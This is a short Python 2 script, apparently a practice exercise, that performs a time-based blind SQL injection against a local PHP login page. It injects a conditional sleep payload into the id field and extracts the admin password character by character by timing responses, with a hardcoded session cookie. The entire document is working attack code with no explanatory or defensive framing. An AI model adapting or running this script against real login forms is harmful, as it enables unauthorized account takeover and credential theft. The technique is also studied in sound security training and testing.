import httplib
import urllib
import time
result=""
length=1
string="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_-=+"
for i in range(1,100):
    if(length<i):
        break
    else:
        for j in range(0,76):
            headers={'Cookie':'PHPSESSID=ac7f41c5fc30d8c8d1f4dbc0fbbc0f04','Content-Type':'application/x-www-form-urlencoded'}
            params=urllib.urlencode({"id":"admin' and if(ascii(substr(pw,"+str(i)+",1))="+str(ord(string[j]))+",sleep(2),0)#","password":"1"})
            t1=time.time()
            conn=httplib.HTTPConnection('127.0.0.1')
            conn.request('POST','/pytest/login_ok.php',params,headers)
            data=conn.getresponse().read()
            t2=time.time()
            print str(i)+' -> '+string[j]
            if(t2-t1)>=2:
                    result=result+string[j]
                    print str(i)+' Password is '+string[j]
                    print result
                    length=length+1
                    break
            else:
                    continue
        print 'Password is '+result